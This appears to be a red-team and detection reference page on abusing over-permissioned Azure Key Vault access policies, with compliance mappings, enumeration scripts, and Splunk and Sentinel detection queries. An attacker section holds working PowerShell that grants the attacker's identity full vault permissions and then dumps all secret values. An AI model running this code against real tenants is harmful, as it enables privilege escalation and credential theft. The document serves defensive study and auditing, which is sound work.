| Attribute | Details | |—|—| | Technique ID | MISCONFIG-008 | | MITRE ATT&CK v18.1 | Cloud Service Discovery (T1526) | | Tactic | Discovery / Credential Access / Privilege Escalation | | Platforms | Azure Key Vault, Entra ID, Azure Resource Manager | | Severity | Critical | | Technique Status | ACTIVE | | Last Verified | 2026-01-10 | | Affected Versions | All Azure Key Vaults using access policies and/or data‑plane RBAC in Azure Resource Manager model | | Patched In | N/A – configuration and role‑design issue; mitigated via Azure RBAC data‑plane permissions, least privilege, and elimination of legacy access policies. | Author | SERVTEP – Artur Pchelnikau |
Get, List, Set, Delete for secrets/keys for broad user groups or service principals) or mis‑scoped roles (e.g., Key Vault Contributor able to modify access policies) allow attackers to escalate privileges and exfiltrate secrets, including API keys, storage account keys, certificates, and application passwords. Because many downstream services rely on Key Vault, compromise of a single vault can cascade to multiple environments.| Framework | Control / ID | Description | |—|—|—| | CIS Azure Foundations | AZURE 3.x – Key Management | Requires least‑privilege access to Key Vault secrets/keys; discourages broad access policies.| | DISA STIG | SRG‑APP‑000231 / SRG‑APP‑000340 | Key management and protection of cryptographic material; mandate restrictions on who can access cryptographic keys. | | CISA SCuBA | Secrets Management | Guidance to secure cloud key management services and avoid over‑permissioned IAM roles around KMS/KV. | | NIST 800‑53 Rev5 | AC‑3, AC‑6, SC‑12, SC‑13, SC‑28 | Access control, least privilege, cryptographic key management, and protection of information at rest.| | GDPR | Art. 32 | Security of processing; leakage of secrets controlling access to personal data is a control failure. | | DORA | Art. 9 | ICT risk management, including secure cryptographic key management for financial services. | | NIS2 | Art. 21 | Measures for cryptography and key management as part of cyber risk controls. | | ISO 27001:2022 | A.8.24, A.8.28 | Protection of cryptographic keys and secure key lifecycle management. | | ISO 27005 | “Compromise of Central Key Management Service” | Risk scenario describing cascading failures when the central secrets store is breached. |
Microsoft.KeyVault/vaults/write and Microsoft.KeyVault/vaults/accessPolicies/write permissions.Supported Versions:
All Azure Key Vaults (standard and premium SKUs) using access policy or RBAC data‑plane permission models.
Tools:
az keyvault commands.Az.KeyVault module.Connect-AzAccount
Get-AzSubscription | ForEach-Object {
Set-AzContext -SubscriptionId $_.Id | Out-Null
Get-AzKeyVault | ForEach-Object {
$vault = $_
[PSCustomObject]@{
Subscription = $_.ResourceId.Split('/')[2]
VaultName = $vault.VaultName
ResourceGroup= $vault.ResourceGroupName
AccessModel = if ($vault.EnableRbacAuthorization) { 'RBAC' } else { 'AccessPolicy' }
PublicAccess = if ($vault.NetworkAcls.DefaultAction -eq 'Allow') { 'Public' } else { 'Restricted' }
}
}
} | Format-Table -AutoSize
What to Look For:
AccessModel = AccessPolicy and public network access (DefaultAction = Allow) – legacy and high‑risk.Enumerate Access Policies:
$vault = Get-AzKeyVault -VaultName "<vault-name>" -ResourceGroupName "<rg>"
$vault.AccessPolicies | Select-Object DisplayName, ObjectId, TenantId, \
PermissionsToSecrets, PermissionsToKeys, PermissionsToCertificates
What to Look For:
Get, List, Set, Delete across all secrets/keys, especially generic groups (e.g., Developers, DevOps) and broad service principals.az keyvault list --query "[].{name:name, resourceGroup:resourceGroup, enableRbacAuthorization:properties.enableRbacAuthorization, defaultAction:properties.networkAcls.defaultAction}" -o table
# For each vault in access policy mode, list access policies
VAULT="<vault-name>"
az keyvault show --name $VAULT -o json | jq '.properties.accessPolicies[] | {objectId, tenantId, permissions}'
What to Look For:
permissions.secrets or permissions.keys contain get, list, set, delete and objectId corresponds to highly privileged roles or large user groups.Supported Versions: All Key Vaults using access policy model with principals assigned the Key Vault Contributor role at subscription or resource group scope.
Objective: Find users or service principals that can modify Key Vault access policies.
Connect-AzAccount
Get-AzRoleAssignment -RoleDefinitionName "Key Vault Contributor" | \
Select-Object PrincipalName, PrincipalType, Scope
What This Means:
Objective (Attacker / Red Team): As a Key Vault Contributor, add own identity to access policies with full permissions.
$vaultName = "<vault-name>"
$rg = "<vault-rg>"
$me = Get-AzADUser -UserPrincipalName "<attacker-upn>"
Set-AzKeyVaultAccessPolicy -VaultName $vaultName -ResourceGroupName $rg `
-ObjectId $me.Id -PermissionsToSecrets get,list,set,delete,backup,restore,recover,purge `
-PermissionsToKeys get,list,unwrapKey,wrapKey,sign,verify,backup,restore,recover,purge
Expected Output:
What This Means:
$vault = Get-AzKeyVault -VaultName $vaultName -ResourceGroupName $rg
Get-AzKeyVaultSecret -VaultName $vault.VaultName | ForEach-Object {
$secret = Get-AzKeyVaultSecret -VaultName $vault.VaultName -Name $_.Name
[PSCustomObject]@{
Name = $secret.Name
Value = $secret.SecretValueText
}
}
Expected Output:
References & Proofs:
Supported Versions: Key Vaults using access policies where entire groups are granted full access for “convenience”.
$vault = Get-AzKeyVault -VaultName "<vault-name>" -ResourceGroupName "<rg>"
$vault.AccessPolicies | Where-Object { $_.PermissionsToSecrets -contains 'get' -and $_.DisplayName -like '*Dev*' } |
Select-Object DisplayName, ObjectId, PermissionsToSecrets, PermissionsToKeys
What This Means:
There is no dedicated Atomic test for Azure Key Vault access policy privilege escalation, but cloud key‑management abuse is typically modeled under:
Security teams can:
Install-Module Az.KeyVault -Scope CurrentUser
Import-Module Az.KeyVault
Get-AzKeyVault
# List vaults and access model
az keyvault list --query "[].{name:name, enableRbac:properties.enableRbacAuthorization}" -o table
# Show access policies
az keyvault show --name <vault-name> -o json | jq '.properties.accessPolicies[]'
Connect-AzAccount
Get-AzSubscription | ForEach-Object {
Set-AzContext -SubscriptionId $_.Id | Out-Null
Get-AzKeyVault | ForEach-Object {
$v = $_
if (-not $v.EnableRbacAuthorization) {
$v.AccessPolicies | Where-Object {
$_.PermissionsToSecrets -contains 'get' -and $_.PermissionsToSecrets -contains 'list'
} | Select-Object @{n='Subscription';e={$_.TenantId}},
@{n='Vault';e={$v.VaultName}}, DisplayName, PermissionsToSecrets
}
}
}
Rule Configuration:
azure_activity.azure:activity.operationName, properties, resourceId.Microsoft.KeyVault/vaults/write or .../accessPolicies/write operation adding principals with full secret/key permissions.SPL Query:
index=azure_activity ResourceProviderValue="MICROSOFT.KEYVAULT" \
(operationName="Microsoft.KeyVault/vaults/write" OR \
operationName="Microsoft.KeyVault/vaults/accessPolicies/write")
| eval props = spath(_raw, "properties")
| eval response = spath(props, "responseBody"),
accessPolicies = spath(response, "properties.accessPolicies{}")
| mvexpand accessPolicies
| eval permsSecrets = spath(accessPolicies, "permissions.secrets{}"),
permsKeys = spath(accessPolicies, "permissions.keys{}"),
objectId = spath(accessPolicies, "objectId")
| where mvfind(permsSecrets, "get")>=0 AND mvfind(permsSecrets, "list")>=0 AND mvcount(permsSecrets)>=4
| stats latest(_time) AS lastChange, values(permsSecrets) AS perms BY resourceId, objectId
What This Detects:
Source: Datadog Security Labs research on Key Vault Contributor and access policies; Microsoft Key Vault security best practices.
Rule Configuration:
AzureActivity.OperationNameValue, ResourceProviderValue, Properties, ResourceId.KQL Query:
AzureActivity
| where ResourceProviderValue == "MICROSOFT.KEYVAULT"
| where OperationNameValue in ("MICROSOFT.KEYVAULT/VAULTS/WRITE",
"MICROSOFT.KEYVAULT/VAULTS/ACCESSPOLICIES/WRITE")
| extend props = parse_json(Properties)
| extend response = parse_json(tostring(props.responseBody))
| extend aps = response.properties.accessPolicies
| mv-expand aps
| extend objId = tostring(aps.objectId),
permsSecrets = tostring(aps.permissions.secrets),
permsKeys = tostring(aps.permissions.keys)
| where permsSecrets has "get" and permsSecrets has "list" and permsSecrets has "delete"
| project TimeGenerated, ResourceId, objId, permsSecrets, permsKeys, Caller
What This Detects:
Source: Microsoft guidance on secure Key Vault configuration and Defender for Cloud identity recommendations.
Key Vault actions are cloud‑side; Windows event logs help only to attribute use of tooling from admin workstations (PowerShell, Azure CLI). Enable:
az, pwsh, or powershell.exe with Az.KeyVault usage.Sysmon can watch for repeated execution of key‑management scripts from non‑admin endpoints, but primary telemetry should be cloud‑side.
Alert Examples:
Secrets in Key Vault accessed from anomalous IP.
Manual Configuration Steps:
Key Vault data‑plane operations are not logged in the M365 unified audit log, but:
SecretGet, SecretList, VaultAccessPolicyWrite and should be monitored for spikes or unusual identities.Connect-AzAccount
Get-AzSubscription | ForEach-Object {
Set-AzContext -SubscriptionId $_.Id | Out-Null
Get-AzKeyVault | ForEach-Object {
$v = $_
if (-not $v.EnableRbacAuthorization) {
Write-Output "[!] Vault $($v.VaultName) still using access policies"
}
elseif ($v.EnableRbacAuthorization -and $v.AccessPolicies.Count -gt 0) {
Write-Output "[!] Vault $($v.VaultName) has RBAC enabled but still contains access policies (check IaC templates)."
}
}
}
Expected Output (If Secure):
SecretGet / KeyGet operations by unusual identities.| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Discovery | REC-CLOUD-007 – Azure Key Vault access enumeration | Attacker identifies vaults and principals with access. |
| 2 | Privilege Escalation | MISCONFIG-008 – Key Vault Access Policy Overpermission | Abuses Contributor role or broad access policies to gain data‑plane access. |
| 3 | Credential Access | CA-UNSC-007/008/009 – Key Vault secrets/keys extraction | Attacker exports secrets, keys, and certificates. |
| 4 | Lateral Movement | CA-TOKEN-003/010 – Use of extracted secrets to access downstream services | Compromise of storage, SQL, or other apps. |
| 5 | Impact | DATA-EXFIL-XXX | Exfiltration of sensitive data using newly obtained credentials. |